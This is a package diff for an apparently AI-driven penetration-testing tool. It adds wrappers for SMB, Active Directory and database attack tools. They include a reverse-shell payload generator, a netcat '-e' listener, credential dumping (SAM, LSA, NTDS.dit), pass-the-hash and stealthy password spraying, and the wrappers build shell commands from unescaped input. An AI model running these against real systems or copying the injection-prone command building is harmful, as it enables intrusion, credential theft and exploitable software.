pentesting 0.5.9 → 0.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/{auto-update-CVZG3YKL.js → auto-update-QFDCCKMW.js} +2 -2
- package/dist/{chunk-CKXQT3ON.js → chunk-CJOLRYUP.js} +17 -1
- package/dist/{chunk-TK3QEEDA.js → chunk-LP7NNB7C.js} +1 -1
- package/dist/index.js +605 -3
- package/dist/{update-B6HRINH6.js → update-OI7M5ERV.js} +2 -2
- package/package.json +1 -1
|
@@ -8,8 +8,8 @@ import {
|
|
|
8
8
|
readVersionCache,
|
|
9
9
|
semverTuple,
|
|
10
10
|
writeVersionCache
|
|
11
|
-
} from "./chunk-
|
|
12
|
-
import "./chunk-
|
|
11
|
+
} from "./chunk-LP7NNB7C.js";
|
|
12
|
+
import "./chunk-CJOLRYUP.js";
|
|
13
13
|
import "./chunk-3RG5ZIWI.js";
|
|
14
14
|
export {
|
|
15
15
|
checkForUpdate,
|
|
@@ -93,10 +93,25 @@ var TOOL_NAME = {
|
|
|
93
93
|
READ_FILE: "read_file",
|
|
94
94
|
WRITE_FILE: "write_file",
|
|
95
95
|
LIST_DIRECTORY: "list_directory",
|
|
96
|
-
// Network
|
|
96
|
+
// Network - Basic
|
|
97
97
|
RUSTSCAN: "rustscan",
|
|
98
98
|
NMAP_SCAN: "nmap_scan",
|
|
99
99
|
TCPDUMP_CAPTURE: "tcpdump_capture",
|
|
100
|
+
NETCAT: "netcat",
|
|
101
|
+
// Windows/SMB/AD
|
|
102
|
+
SMB_ENUM: "smb_enum",
|
|
103
|
+
ENUM4LINUX: "enum4linux",
|
|
104
|
+
CRACKMAPEXEC: "crackmapexec",
|
|
105
|
+
SMBCLIENT: "smbclient",
|
|
106
|
+
RPCCLIENT: "rpcclient",
|
|
107
|
+
WINRM: "winrm",
|
|
108
|
+
RDP_CHECK: "rdp_check",
|
|
109
|
+
LDAP_SEARCH: "ldap_search",
|
|
110
|
+
KERBRUTE: "kerbrute",
|
|
111
|
+
BLOODHOUND: "bloodhound",
|
|
112
|
+
// Database
|
|
113
|
+
MSSQL_CLIENT: "mssql_client",
|
|
114
|
+
MYSQL_CLIENT: "mysql_client",
|
|
100
115
|
// Web
|
|
101
116
|
WEB_REQUEST: "web_request",
|
|
102
117
|
DIRECTORY_BRUTEFORCE: "directory_bruteforce",
|
|
@@ -117,6 +132,7 @@ var TOOL_NAME = {
|
|
|
117
132
|
// Post-Exploitation
|
|
118
133
|
SETUP_TUNNEL: "setup_tunnel",
|
|
119
134
|
LATERAL_MOVEMENT: "lateral_movement",
|
|
135
|
+
REVERSE_SHELL: "reverse_shell",
|
|
120
136
|
// Reporting
|
|
121
137
|
REPORT_FINDING: "report_finding",
|
|
122
138
|
TAKE_SCREENSHOT: "take_screenshot"
|
package/dist/index.js
CHANGED
|
@@ -15,7 +15,7 @@ import {
|
|
|
15
15
|
PHASE_STATUS,
|
|
16
16
|
THOUGHT_TYPE,
|
|
17
17
|
TOOL_NAME
|
|
18
|
-
} from "./chunk-
|
|
18
|
+
} from "./chunk-CJOLRYUP.js";
|
|
19
19
|
import {
|
|
20
20
|
__require
|
|
21
21
|
} from "./chunk-3RG5ZIWI.js";
|
|
@@ -365,6 +365,366 @@ Use for:
|
|
|
365
365
|
}
|
|
366
366
|
}
|
|
367
367
|
];
|
|
368
|
+
var WINDOWS_TOOLS = [
|
|
369
|
+
{
|
|
370
|
+
name: TOOL_NAME.NETCAT,
|
|
371
|
+
description: `Netcat (nc) - The TCP/IP Swiss Army Knife.
|
|
372
|
+
|
|
373
|
+
MODES:
|
|
374
|
+
- connect: Connect to a host/port
|
|
375
|
+
- listen: Listen for incoming connections
|
|
376
|
+
- scan: Port scanning (use rustscan instead for speed)
|
|
377
|
+
- transfer: File transfer
|
|
378
|
+
- reverse_shell: Set up reverse shell listener
|
|
379
|
+
|
|
380
|
+
EXAMPLES:
|
|
381
|
+
- Banner grab: nc -nv 10.10.10.5 21
|
|
382
|
+
- Listener: nc -lvnp 4444
|
|
383
|
+
- Connect: nc 10.10.10.5 4444
|
|
384
|
+
- Send file: nc -nv 10.10.10.5 4444 < file.txt`,
|
|
385
|
+
input_schema: {
|
|
386
|
+
type: "object",
|
|
387
|
+
properties: {
|
|
388
|
+
mode: { type: "string", enum: ["connect", "listen", "scan", "transfer"], description: "Operation mode" },
|
|
389
|
+
host: { type: "string", description: "Target host (for connect mode)" },
|
|
390
|
+
port: { type: "number", description: "Port number" },
|
|
391
|
+
listen: { type: "boolean", description: "Listen mode (-l)" },
|
|
392
|
+
verbose: { type: "boolean", description: "Verbose output (-v)" },
|
|
393
|
+
udp: { type: "boolean", description: "UDP mode (-u)" },
|
|
394
|
+
execute: { type: "string", description: "Execute command on connect (-e)" },
|
|
395
|
+
timeout: { type: "number", description: "Timeout in seconds (-w)" }
|
|
396
|
+
},
|
|
397
|
+
required: ["port"]
|
|
398
|
+
}
|
|
399
|
+
},
|
|
400
|
+
{
|
|
401
|
+
name: TOOL_NAME.SMB_ENUM,
|
|
402
|
+
description: `SMB enumeration - Enumerate Windows shares, users, groups.
|
|
403
|
+
|
|
404
|
+
QUICK SMB CHECKS:
|
|
405
|
+
1. List shares: smbclient -L //target -N
|
|
406
|
+
2. Anonymous access: smbclient //target/share -N
|
|
407
|
+
3. Null session: rpcclient -U "" -N target`,
|
|
408
|
+
input_schema: {
|
|
409
|
+
type: "object",
|
|
410
|
+
properties: {
|
|
411
|
+
target: { type: "string", description: "Target IP/hostname" },
|
|
412
|
+
username: { type: "string", description: "Username (empty for null session)" },
|
|
413
|
+
password: { type: "string", description: "Password (empty for null session)" },
|
|
414
|
+
domain: { type: "string", description: "Domain name" },
|
|
415
|
+
shares: { type: "boolean", description: "List shares" },
|
|
416
|
+
users: { type: "boolean", description: "Enumerate users" },
|
|
417
|
+
groups: { type: "boolean", description: "Enumerate groups" }
|
|
418
|
+
},
|
|
419
|
+
required: ["target"]
|
|
420
|
+
}
|
|
421
|
+
},
|
|
422
|
+
{
|
|
423
|
+
name: TOOL_NAME.ENUM4LINUX,
|
|
424
|
+
description: `enum4linux - Windows/Samba enumeration tool.
|
|
425
|
+
|
|
426
|
+
EXTRACTS:
|
|
427
|
+
- User listing, Group listing
|
|
428
|
+
- Share enumeration
|
|
429
|
+
- Password policy
|
|
430
|
+
- OS information
|
|
431
|
+
- RID cycling for user enumeration`,
|
|
432
|
+
input_schema: {
|
|
433
|
+
type: "object",
|
|
434
|
+
properties: {
|
|
435
|
+
target: { type: "string", description: "Target IP" },
|
|
436
|
+
all: { type: "boolean", description: "Do all enumeration (-a)" },
|
|
437
|
+
users: { type: "boolean", description: "Get user list (-U)" },
|
|
438
|
+
shares: { type: "boolean", description: "Get share list (-S)" },
|
|
439
|
+
policies: { type: "boolean", description: "Get password policies (-P)" },
|
|
440
|
+
groups: { type: "boolean", description: "Get group info (-G)" },
|
|
441
|
+
username: { type: "string", description: "Username for auth" },
|
|
442
|
+
password: { type: "string", description: "Password for auth" }
|
|
443
|
+
},
|
|
444
|
+
required: ["target"]
|
|
445
|
+
}
|
|
446
|
+
},
|
|
447
|
+
{
|
|
448
|
+
name: TOOL_NAME.CRACKMAPEXEC,
|
|
449
|
+
description: `CrackMapExec (CME) - Swiss army knife for Windows/AD pentesting.
|
|
450
|
+
|
|
451
|
+
PROTOCOLS: smb, winrm, mssql, ssh, ldap
|
|
452
|
+
FEATURES:
|
|
453
|
+
- Password spraying
|
|
454
|
+
- Credential validation
|
|
455
|
+
- Pass-the-Hash
|
|
456
|
+
- Command execution
|
|
457
|
+
- Credential dumping (SAM, LSA, NTDS.dit)
|
|
458
|
+
- Mimikatz, Bloodhound integration
|
|
459
|
+
|
|
460
|
+
EXAMPLES:
|
|
461
|
+
- cme smb 10.10.10.0/24 -u user -p pass
|
|
462
|
+
- cme smb target -u user -H hash --shares
|
|
463
|
+
- cme smb target -u user -p pass -x "whoami"
|
|
464
|
+
- cme smb target -u user -p pass --sam`,
|
|
465
|
+
input_schema: {
|
|
466
|
+
type: "object",
|
|
467
|
+
properties: {
|
|
468
|
+
protocol: { type: "string", enum: ["smb", "winrm", "mssql", "ssh", "ldap"], description: "Protocol to use" },
|
|
469
|
+
target: { type: "string", description: "Target IP/CIDR/hostname" },
|
|
470
|
+
username: { type: "string", description: "Username or file" },
|
|
471
|
+
password: { type: "string", description: "Password or file" },
|
|
472
|
+
hash: { type: "string", description: "NTLM hash for pass-the-hash" },
|
|
473
|
+
domain: { type: "string", description: "Domain name" },
|
|
474
|
+
command: { type: "string", description: "Command to execute (-x)" },
|
|
475
|
+
shares: { type: "boolean", description: "Enumerate shares" },
|
|
476
|
+
users: { type: "boolean", description: "Enumerate users" },
|
|
477
|
+
pass_pol: { type: "boolean", description: "Get password policy" },
|
|
478
|
+
sam: { type: "boolean", description: "Dump SAM hashes" },
|
|
479
|
+
lsa: { type: "boolean", description: "Dump LSA secrets" },
|
|
480
|
+
ntds: { type: "boolean", description: "Dump NTDS.dit (DC only)" }
|
|
481
|
+
},
|
|
482
|
+
required: ["protocol", "target"]
|
|
483
|
+
}
|
|
484
|
+
},
|
|
485
|
+
{
|
|
486
|
+
name: TOOL_NAME.SMBCLIENT,
|
|
487
|
+
description: `smbclient - FTP-like client for SMB/CIFS resources.
|
|
488
|
+
|
|
489
|
+
COMMANDS:
|
|
490
|
+
- List shares: smbclient -L //target -N
|
|
491
|
+
- Connect: smbclient //target/share -U user%pass
|
|
492
|
+
- Download: get file.txt
|
|
493
|
+
- Upload: put local.txt
|
|
494
|
+
- Recurse download: recurse; prompt; mget *`,
|
|
495
|
+
input_schema: {
|
|
496
|
+
type: "object",
|
|
497
|
+
properties: {
|
|
498
|
+
target: { type: "string", description: "Target (//IP/share)" },
|
|
499
|
+
username: { type: "string", description: "Username" },
|
|
500
|
+
password: { type: "string", description: "Password" },
|
|
501
|
+
command: { type: "string", description: "Command to run (-c)" },
|
|
502
|
+
list: { type: "boolean", description: "List shares only (-L)" },
|
|
503
|
+
no_pass: { type: "boolean", description: "No password (-N)" }
|
|
504
|
+
},
|
|
505
|
+
required: ["target"]
|
|
506
|
+
}
|
|
507
|
+
},
|
|
508
|
+
{
|
|
509
|
+
name: TOOL_NAME.RPCCLIENT,
|
|
510
|
+
description: `rpcclient - Tool for MS-RPC functions.
|
|
511
|
+
|
|
512
|
+
USEFUL COMMANDS:
|
|
513
|
+
- enumdomusers: List domain users
|
|
514
|
+
- enumdomgroups: List domain groups
|
|
515
|
+
- queryuser 0x[RID]: Get user info
|
|
516
|
+
- querygroupmem 0x[RID]: Get group members
|
|
517
|
+
- lookupnames [user]: Get user SID
|
|
518
|
+
- lookupsids [SID]: Get username from SID`,
|
|
519
|
+
input_schema: {
|
|
520
|
+
type: "object",
|
|
521
|
+
properties: {
|
|
522
|
+
target: { type: "string", description: "Target IP" },
|
|
523
|
+
username: { type: "string", description: "Username" },
|
|
524
|
+
password: { type: "string", description: "Password" },
|
|
525
|
+
command: { type: "string", description: "RPC command to run (-c)" },
|
|
526
|
+
no_pass: { type: "boolean", description: "Null session (-N)" }
|
|
527
|
+
},
|
|
528
|
+
required: ["target"]
|
|
529
|
+
}
|
|
530
|
+
},
|
|
531
|
+
{
|
|
532
|
+
name: TOOL_NAME.WINRM,
|
|
533
|
+
description: `evil-winrm - WinRM shell for Windows post-exploitation.
|
|
534
|
+
|
|
535
|
+
FEATURES:
|
|
536
|
+
- Interactive PowerShell session
|
|
537
|
+
- Pass-the-Hash and Kerberos auth
|
|
538
|
+
- In-memory script/DLL loading
|
|
539
|
+
- File upload/download
|
|
540
|
+
- AMSI bypass
|
|
541
|
+
|
|
542
|
+
PORTS: 5985 (HTTP), 5986 (HTTPS)`,
|
|
543
|
+
input_schema: {
|
|
544
|
+
type: "object",
|
|
545
|
+
properties: {
|
|
546
|
+
target: { type: "string", description: "Target IP" },
|
|
547
|
+
username: { type: "string", description: "Username" },
|
|
548
|
+
password: { type: "string", description: "Password" },
|
|
549
|
+
hash: { type: "string", description: "NTLM hash (pass-the-hash)" },
|
|
550
|
+
ssl: { type: "boolean", description: "Use SSL (port 5986)" },
|
|
551
|
+
scripts: { type: "string", description: "PowerShell scripts path" },
|
|
552
|
+
executables: { type: "string", description: "Executables path" }
|
|
553
|
+
},
|
|
554
|
+
required: ["target", "username"]
|
|
555
|
+
}
|
|
556
|
+
},
|
|
557
|
+
{
|
|
558
|
+
name: TOOL_NAME.RDP_CHECK,
|
|
559
|
+
description: `RDP connection testing and exploitation.
|
|
560
|
+
|
|
561
|
+
CHECKS:
|
|
562
|
+
- rdp_check.py: Verify RDP access
|
|
563
|
+
- xfreerdp: Full RDP connection
|
|
564
|
+
- BlueKeep scanner (CVE-2019-0708)
|
|
565
|
+
|
|
566
|
+
PORTS: 3389 (default)`,
|
|
567
|
+
input_schema: {
|
|
568
|
+
type: "object",
|
|
569
|
+
properties: {
|
|
570
|
+
target: { type: "string", description: "Target IP" },
|
|
571
|
+
username: { type: "string", description: "Username" },
|
|
572
|
+
password: { type: "string", description: "Password" },
|
|
573
|
+
hash: { type: "string", description: "NTLM hash" },
|
|
574
|
+
domain: { type: "string", description: "Domain" },
|
|
575
|
+
check_only: { type: "boolean", description: "Only check access (no connect)" }
|
|
576
|
+
},
|
|
577
|
+
required: ["target"]
|
|
578
|
+
}
|
|
579
|
+
},
|
|
580
|
+
{
|
|
581
|
+
name: TOOL_NAME.LDAP_SEARCH,
|
|
582
|
+
description: `LDAP enumeration for Active Directory.
|
|
583
|
+
|
|
584
|
+
COMMON QUERIES:
|
|
585
|
+
- Users: (objectClass=user)
|
|
586
|
+
- Computers: (objectClass=computer)
|
|
587
|
+
- Groups: (objectClass=group)
|
|
588
|
+
- Admins: (memberOf=CN=Domain Admins,...)
|
|
589
|
+
- SPNs: (servicePrincipalName=*)
|
|
590
|
+
|
|
591
|
+
PORTS: 389 (LDAP), 636 (LDAPS), 3268 (Global Catalog)`,
|
|
592
|
+
input_schema: {
|
|
593
|
+
type: "object",
|
|
594
|
+
properties: {
|
|
595
|
+
target: { type: "string", description: "Domain controller IP" },
|
|
596
|
+
base_dn: { type: "string", description: "Base DN (e.g., DC=domain,DC=local)" },
|
|
597
|
+
filter: { type: "string", description: "LDAP filter" },
|
|
598
|
+
username: { type: "string", description: "Username" },
|
|
599
|
+
password: { type: "string", description: "Password" },
|
|
600
|
+
attributes: { type: "string", description: "Attributes to retrieve" }
|
|
601
|
+
},
|
|
602
|
+
required: ["target"]
|
|
603
|
+
}
|
|
604
|
+
},
|
|
605
|
+
{
|
|
606
|
+
name: TOOL_NAME.KERBRUTE,
|
|
607
|
+
description: `Kerbrute - Kerberos bruteforce and enumeration.
|
|
608
|
+
|
|
609
|
+
MODES:
|
|
610
|
+
- userenum: Enumerate valid usernames via Kerberos
|
|
611
|
+
- passwordspray: Password spray attack
|
|
612
|
+
- bruteuser: Brute force single user
|
|
613
|
+
|
|
614
|
+
STEALTHY: Uses Kerberos pre-auth, minimal logs`,
|
|
615
|
+
input_schema: {
|
|
616
|
+
type: "object",
|
|
617
|
+
properties: {
|
|
618
|
+
mode: { type: "string", enum: ["userenum", "passwordspray", "bruteuser"], description: "Attack mode" },
|
|
619
|
+
dc: { type: "string", description: "Domain controller" },
|
|
620
|
+
domain: { type: "string", description: "Domain name" },
|
|
621
|
+
users: { type: "string", description: "Username or wordlist" },
|
|
622
|
+
passwords: { type: "string", description: "Password or wordlist" }
|
|
623
|
+
},
|
|
624
|
+
required: ["mode", "dc", "domain"]
|
|
625
|
+
}
|
|
626
|
+
},
|
|
627
|
+
{
|
|
628
|
+
name: TOOL_NAME.BLOODHOUND,
|
|
629
|
+
description: `BloodHound - Active Directory attack path visualization.
|
|
630
|
+
|
|
631
|
+
COLLECTORS:
|
|
632
|
+
- SharpHound (Windows): .exe or .ps1
|
|
633
|
+
- bloodhound-python (Linux): Remote collection
|
|
634
|
+
|
|
635
|
+
DATA COLLECTED:
|
|
636
|
+
- Users, Groups, Computers
|
|
637
|
+
- Sessions, Local Admins
|
|
638
|
+
- Group memberships, ACLs
|
|
639
|
+
- Trust relationships`,
|
|
640
|
+
input_schema: {
|
|
641
|
+
type: "object",
|
|
642
|
+
properties: {
|
|
643
|
+
target: { type: "string", description: "Domain controller" },
|
|
644
|
+
domain: { type: "string", description: "Domain name" },
|
|
645
|
+
username: { type: "string", description: "Username" },
|
|
646
|
+
password: { type: "string", description: "Password" },
|
|
647
|
+
collection: { type: "string", enum: ["all", "default", "session", "acl", "trusts"], description: "Collection method" },
|
|
648
|
+
zip: { type: "boolean", description: "Zip output files" }
|
|
649
|
+
},
|
|
650
|
+
required: ["domain", "username", "password"]
|
|
651
|
+
}
|
|
652
|
+
},
|
|
653
|
+
{
|
|
654
|
+
name: TOOL_NAME.MSSQL_CLIENT,
|
|
655
|
+
description: `MSSQL client for Microsoft SQL Server.
|
|
656
|
+
|
|
657
|
+
USES impacket-mssqlclient / mssqlclient.py
|
|
658
|
+
|
|
659
|
+
FEATURES:
|
|
660
|
+
- SQL query execution
|
|
661
|
+
- xp_cmdshell command execution
|
|
662
|
+
- File read/write
|
|
663
|
+
- Linked server attacks
|
|
664
|
+
|
|
665
|
+
PORT: 1433`,
|
|
666
|
+
input_schema: {
|
|
667
|
+
type: "object",
|
|
668
|
+
properties: {
|
|
669
|
+
target: { type: "string", description: "Target IP" },
|
|
670
|
+
username: { type: "string", description: "Username (user@domain or domain/user)" },
|
|
671
|
+
password: { type: "string", description: "Password" },
|
|
672
|
+
hash: { type: "string", description: "NTLM hash" },
|
|
673
|
+
query: { type: "string", description: "SQL query to execute" },
|
|
674
|
+
windows_auth: { type: "boolean", description: "Use Windows authentication" }
|
|
675
|
+
},
|
|
676
|
+
required: ["target"]
|
|
677
|
+
}
|
|
678
|
+
},
|
|
679
|
+
{
|
|
680
|
+
name: TOOL_NAME.MYSQL_CLIENT,
|
|
681
|
+
description: `MySQL client for database access.
|
|
682
|
+
|
|
683
|
+
PORT: 3306
|
|
684
|
+
|
|
685
|
+
COMMON COMMANDS:
|
|
686
|
+
- show databases;
|
|
687
|
+
- use database_name;
|
|
688
|
+
- show tables;
|
|
689
|
+
- SELECT * FROM users;`,
|
|
690
|
+
input_schema: {
|
|
691
|
+
type: "object",
|
|
692
|
+
properties: {
|
|
693
|
+
target: { type: "string", description: "Target IP" },
|
|
694
|
+
username: { type: "string", description: "Username" },
|
|
695
|
+
password: { type: "string", description: "Password" },
|
|
696
|
+
database: { type: "string", description: "Database name" },
|
|
697
|
+
query: { type: "string", description: "SQL query to execute" }
|
|
698
|
+
},
|
|
699
|
+
required: ["target"]
|
|
700
|
+
}
|
|
701
|
+
},
|
|
702
|
+
{
|
|
703
|
+
name: TOOL_NAME.REVERSE_SHELL,
|
|
704
|
+
description: `Generate reverse shell payloads.
|
|
705
|
+
|
|
706
|
+
TYPES:
|
|
707
|
+
- bash: Bash TCP reverse shell
|
|
708
|
+
- nc: Netcat reverse shell
|
|
709
|
+
- python: Python reverse shell
|
|
710
|
+
- powershell: PowerShell reverse shell (Windows)
|
|
711
|
+
- php: PHP reverse shell (Web shells)
|
|
712
|
+
- msfvenom: Metasploit payload generation
|
|
713
|
+
|
|
714
|
+
LISTENER: nc -lvnp PORT`,
|
|
715
|
+
input_schema: {
|
|
716
|
+
type: "object",
|
|
717
|
+
properties: {
|
|
718
|
+
type: { type: "string", enum: ["bash", "nc", "python", "powershell", "php", "msfvenom"], description: "Shell type" },
|
|
719
|
+
lhost: { type: "string", description: "Your IP (listener)" },
|
|
720
|
+
lport: { type: "number", description: "Your port (listener)" },
|
|
721
|
+
platform: { type: "string", enum: ["linux", "windows"], description: "Target platform" },
|
|
722
|
+
encode: { type: "boolean", description: "Base64 encode payload" }
|
|
723
|
+
},
|
|
724
|
+
required: ["type", "lhost", "lport"]
|
|
725
|
+
}
|
|
726
|
+
}
|
|
727
|
+
];
|
|
368
728
|
var WEB_TOOLS = [
|
|
369
729
|
{
|
|
370
730
|
name: TOOL_NAME.WEB_REQUEST,
|
|
@@ -701,6 +1061,7 @@ var REPORT_TOOLS = [
|
|
|
701
1061
|
var ALL_TOOLS = [
|
|
702
1062
|
...SYSTEM_TOOLS,
|
|
703
1063
|
...NETWORK_TOOLS,
|
|
1064
|
+
...WINDOWS_TOOLS,
|
|
704
1065
|
...WEB_TOOLS,
|
|
705
1066
|
...EXPLOIT_TOOLS,
|
|
706
1067
|
...CREDENTIAL_TOOLS,
|
|
@@ -878,6 +1239,49 @@ async function executeToolCall(toolName, input) {
|
|
|
878
1239
|
case "lateral_movement":
|
|
879
1240
|
result = await executeLateralMovement(input);
|
|
880
1241
|
break;
|
|
1242
|
+
// Windows / SMB / AD Tools
|
|
1243
|
+
case "netcat":
|
|
1244
|
+
result = await executeNetcat(input);
|
|
1245
|
+
break;
|
|
1246
|
+
case "smb_enum":
|
|
1247
|
+
result = await executeSmbEnum(input);
|
|
1248
|
+
break;
|
|
1249
|
+
case "enum4linux":
|
|
1250
|
+
result = await executeEnum4linux(input);
|
|
1251
|
+
break;
|
|
1252
|
+
case "crackmapexec":
|
|
1253
|
+
result = await executeCrackmapexec(input);
|
|
1254
|
+
break;
|
|
1255
|
+
case "smbclient":
|
|
1256
|
+
result = await executeSmbclient(input);
|
|
1257
|
+
break;
|
|
1258
|
+
case "rpcclient":
|
|
1259
|
+
result = await executeRpcclient(input);
|
|
1260
|
+
break;
|
|
1261
|
+
case "winrm":
|
|
1262
|
+
result = await executeWinrm(input);
|
|
1263
|
+
break;
|
|
1264
|
+
case "rdp_check":
|
|
1265
|
+
result = await executeRdpCheck(input);
|
|
1266
|
+
break;
|
|
1267
|
+
case "ldap_search":
|
|
1268
|
+
result = await executeLdapSearch(input);
|
|
1269
|
+
break;
|
|
1270
|
+
case "kerbrute":
|
|
1271
|
+
result = await executeKerbrute(input);
|
|
1272
|
+
break;
|
|
1273
|
+
case "bloodhound":
|
|
1274
|
+
result = await executeBloodhound(input);
|
|
1275
|
+
break;
|
|
1276
|
+
case "mssql_client":
|
|
1277
|
+
result = await executeMssqlClient(input);
|
|
1278
|
+
break;
|
|
1279
|
+
case "mysql_client":
|
|
1280
|
+
result = await executeMysqlClient(input);
|
|
1281
|
+
break;
|
|
1282
|
+
case "reverse_shell":
|
|
1283
|
+
result = await executeReverseShell(input);
|
|
1284
|
+
break;
|
|
881
1285
|
// report
|
|
882
1286
|
case "report_finding":
|
|
883
1287
|
result = await reportFinding(input);
|
|
@@ -1331,6 +1735,204 @@ const { chromium } = require('playwright');
|
|
|
1331
1735
|
}
|
|
1332
1736
|
return executeBash(`script -q /dev/null -c "cat" | tee "${filename || "terminal.txt"}"`);
|
|
1333
1737
|
}
|
|
1738
|
+
async function executeNetcat(input) {
|
|
1739
|
+
const { mode, host, port, listen, verbose, udp, execute, timeout } = input;
|
|
1740
|
+
let cmd = "nc";
|
|
1741
|
+
if (verbose) cmd += " -v";
|
|
1742
|
+
if (udp) cmd += " -u";
|
|
1743
|
+
if (timeout) cmd += ` -w ${timeout}`;
|
|
1744
|
+
if (listen || mode === "listen") {
|
|
1745
|
+
cmd += ` -lnp ${port}`;
|
|
1746
|
+
if (execute) cmd += ` -e ${execute}`;
|
|
1747
|
+
} else {
|
|
1748
|
+
cmd += ` -n ${host} ${port}`;
|
|
1749
|
+
}
|
|
1750
|
+
return executeBash(cmd, { timeout: (timeout || 30) * 1e3 });
|
|
1751
|
+
}
|
|
1752
|
+
async function executeSmbEnum(input) {
|
|
1753
|
+
const { target, username, password, shares, users, groups } = input;
|
|
1754
|
+
const commands = [];
|
|
1755
|
+
if (shares || !users && !groups) {
|
|
1756
|
+
commands.push(`smbclient -L //${target} -N 2>/dev/null || echo "Shares listing failed"`);
|
|
1757
|
+
}
|
|
1758
|
+
if (users) {
|
|
1759
|
+
commands.push(`rpcclient -U "" -N ${target} -c "enumdomusers" 2>/dev/null || echo "User enum failed"`);
|
|
1760
|
+
}
|
|
1761
|
+
if (groups) {
|
|
1762
|
+
commands.push(`rpcclient -U "" -N ${target} -c "enumdomgroups" 2>/dev/null || echo "Group enum failed"`);
|
|
1763
|
+
}
|
|
1764
|
+
if (username && password) {
|
|
1765
|
+
commands.push(`smbclient -L //${target} -U "${username}%${password}" 2>/dev/null`);
|
|
1766
|
+
}
|
|
1767
|
+
const cmd = commands.join(' && echo "---" && ');
|
|
1768
|
+
return executeBash(cmd, { timeout: 6e4 });
|
|
1769
|
+
}
|
|
1770
|
+
async function executeEnum4linux(input) {
|
|
1771
|
+
const { target, all, users, shares, policies, groups, username, password } = input;
|
|
1772
|
+
let cmd = `enum4linux`;
|
|
1773
|
+
if (all) {
|
|
1774
|
+
cmd += " -a";
|
|
1775
|
+
} else {
|
|
1776
|
+
if (users) cmd += " -U";
|
|
1777
|
+
if (shares) cmd += " -S";
|
|
1778
|
+
if (policies) cmd += " -P";
|
|
1779
|
+
if (groups) cmd += " -G";
|
|
1780
|
+
}
|
|
1781
|
+
if (username && password) {
|
|
1782
|
+
cmd += ` -u "${username}" -p "${password}"`;
|
|
1783
|
+
}
|
|
1784
|
+
cmd += ` ${target}`;
|
|
1785
|
+
return executeBash(cmd, { timeout: 3e5 });
|
|
1786
|
+
}
|
|
1787
|
+
async function executeCrackmapexec(input) {
|
|
1788
|
+
const { protocol, target, username, password, hash, domain, command, shares, users, pass_pol, sam, lsa, ntds } = input;
|
|
1789
|
+
let cmd = `crackmapexec ${protocol} ${target}`;
|
|
1790
|
+
if (username) cmd += ` -u "${username}"`;
|
|
1791
|
+
if (password) cmd += ` -p "${password}"`;
|
|
1792
|
+
if (hash) cmd += ` -H "${hash}"`;
|
|
1793
|
+
if (domain) cmd += ` -d "${domain}"`;
|
|
1794
|
+
if (command) cmd += ` -x "${command}"`;
|
|
1795
|
+
if (shares) cmd += " --shares";
|
|
1796
|
+
if (users) cmd += " --users";
|
|
1797
|
+
if (pass_pol) cmd += " --pass-pol";
|
|
1798
|
+
if (sam) cmd += " --sam";
|
|
1799
|
+
if (lsa) cmd += " --lsa";
|
|
1800
|
+
if (ntds) cmd += " --ntds";
|
|
1801
|
+
return executeBash(cmd, { timeout: 3e5 });
|
|
1802
|
+
}
|
|
1803
|
+
async function executeSmbclient(input) {
|
|
1804
|
+
const { target, username, password, command, list, no_pass } = input;
|
|
1805
|
+
let cmd = `smbclient ${target}`;
|
|
1806
|
+
if (list) {
|
|
1807
|
+
cmd = `smbclient -L ${String(target).replace(/\/\//g, "")}`;
|
|
1808
|
+
}
|
|
1809
|
+
if (username && password) {
|
|
1810
|
+
cmd += ` -U "${username}%${password}"`;
|
|
1811
|
+
} else if (no_pass) {
|
|
1812
|
+
cmd += " -N";
|
|
1813
|
+
}
|
|
1814
|
+
if (command && !list) {
|
|
1815
|
+
cmd += ` -c "${command}"`;
|
|
1816
|
+
}
|
|
1817
|
+
return executeBash(cmd, { timeout: 6e4 });
|
|
1818
|
+
}
|
|
1819
|
+
async function executeRpcclient(input) {
|
|
1820
|
+
const { target, username, password, command, no_pass } = input;
|
|
1821
|
+
let cmd = `rpcclient ${target}`;
|
|
1822
|
+
if (username && password) {
|
|
1823
|
+
cmd += ` -U "${username}%${password}"`;
|
|
1824
|
+
} else if (no_pass) {
|
|
1825
|
+
cmd += ' -U "" -N';
|
|
1826
|
+
}
|
|
1827
|
+
if (command) {
|
|
1828
|
+
cmd += ` -c "${command}"`;
|
|
1829
|
+
}
|
|
1830
|
+
return executeBash(cmd, { timeout: 6e4 });
|
|
1831
|
+
}
|
|
1832
|
+
async function executeWinrm(input) {
|
|
1833
|
+
const { target, username, password, hash, ssl } = input;
|
|
1834
|
+
let cmd = `evil-winrm -i ${target} -u "${username}"`;
|
|
1835
|
+
if (password) cmd += ` -p "${password}"`;
|
|
1836
|
+
if (hash) cmd += ` -H "${hash}"`;
|
|
1837
|
+
if (ssl) cmd += " -S";
|
|
1838
|
+
cmd += ' -c "whoami && hostname && ipconfig /all"';
|
|
1839
|
+
return executeBash(cmd, { timeout: 6e4 });
|
|
1840
|
+
}
|
|
1841
|
+
async function executeRdpCheck(input) {
|
|
1842
|
+
const { target, username, password, hash, domain, check_only } = input;
|
|
1843
|
+
if (check_only) {
|
|
1844
|
+
return executeBash(`nmap -p 3389 --open -sV ${target}`, { timeout: 3e4 });
|
|
1845
|
+
}
|
|
1846
|
+
let cmd = `xfreerdp /v:${target}`;
|
|
1847
|
+
if (username) cmd += ` /u:"${username}"`;
|
|
1848
|
+
if (password) cmd += ` /p:"${password}"`;
|
|
1849
|
+
if (hash) cmd += ` /pth:"${hash}"`;
|
|
1850
|
+
if (domain) cmd += ` /d:"${domain}"`;
|
|
1851
|
+
cmd += " /cert-ignore +auth-only";
|
|
1852
|
+
return executeBash(cmd, { timeout: 3e4 });
|
|
1853
|
+
}
|
|
1854
|
+
async function executeLdapSearch(input) {
|
|
1855
|
+
const { target, base_dn, filter, username, password, attributes } = input;
|
|
1856
|
+
let cmd = `ldapsearch -x -H ldap://${target}`;
|
|
1857
|
+
if (base_dn) cmd += ` -b "${base_dn}"`;
|
|
1858
|
+
if (username) cmd += ` -D "${username}"`;
|
|
1859
|
+
if (password) cmd += ` -w "${password}"`;
|
|
1860
|
+
cmd += ` "${filter || "(objectClass=*)"}"`;
|
|
1861
|
+
if (attributes) cmd += ` ${attributes}`;
|
|
1862
|
+
return executeBash(cmd, { timeout: 12e4 });
|
|
1863
|
+
}
|
|
1864
|
+
async function executeKerbrute(input) {
|
|
1865
|
+
const { mode, dc, domain, users, passwords } = input;
|
|
1866
|
+
let cmd = `kerbrute ${mode}`;
|
|
1867
|
+
if (mode === "userenum") {
|
|
1868
